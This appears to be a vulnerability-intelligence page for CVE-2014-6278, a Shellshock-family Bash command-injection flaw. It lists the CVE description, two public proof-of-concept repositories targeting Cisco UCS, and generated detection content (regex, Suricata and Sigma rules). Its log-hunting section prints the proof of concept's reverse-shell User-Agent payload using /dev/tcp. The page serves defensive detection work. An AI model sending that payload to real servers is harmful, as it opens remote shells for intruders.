GNU Bash
GNU Bash OS Command Injection Vulnerability
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
Timeline
Days relative to CVE publicationFirst public PoC 1.4 days before publication; added to CISA KEV 11.0 years after publication. First PoC: dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock) (Exploit-DB, 29 Sep 2014).
PoC repositories
Found on GitHub.2 PoCs
PoCs 2
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| 0xBeacon/CiscoUCS-Shellshock | 15 Mar 2016 +1.5 y | 0 | PoC |
| thatchriseckert/CiscoUCS-Shellshock | 15 Mar 2016 +1.5 y | 0 | PoC |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.PoC characteristics
What to hunt for in your logs · from 2 PoC reposGET /ucsm/isSamInstalled.cgi
- PoC User-Agent
() {var};/bin/bash -i >& /dev/tcp/{var}/{var} 0>&1- Seen in
- 2 repos: 0xBeacon/CiscoUCS-Shellshock, thatchriseckert/CiscoUCS-Shellshock
- Evidence
- 0xBeacon/CiscoUCS-Shellshock/CiscoUCS_Shellshock.py:41 0xBeacon/CiscoUCS-Shellshock/CiscoUCS_Shellshock.py:51 thatchriseckert/CiscoUCS-Shellshock/CiscoUCS_Shellshock.py:41 thatchriseckert/CiscoUCS-Shellshock/CiscoUCS_Shellshock.py:51
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/ucsm/isSamInstalled\.cgi(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2014-6278 GNU GNU Bash exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/ucsm/isSamInstalled.cgi"; reference:url,poc.griffinguard.io/cve/CVE-2014-6278; classtype:web-application-attack; sid:9236243; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: GNU GNU Bash exploit attempt (CVE-2014-6278)
id: gg-pocmon-cve-2014-6278-9236243
status: experimental
description: Request pattern taken from public PoCs for CVE-2014-6278. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2014-6278
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/ucsm/isSamInstalled.cgi'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2014.6278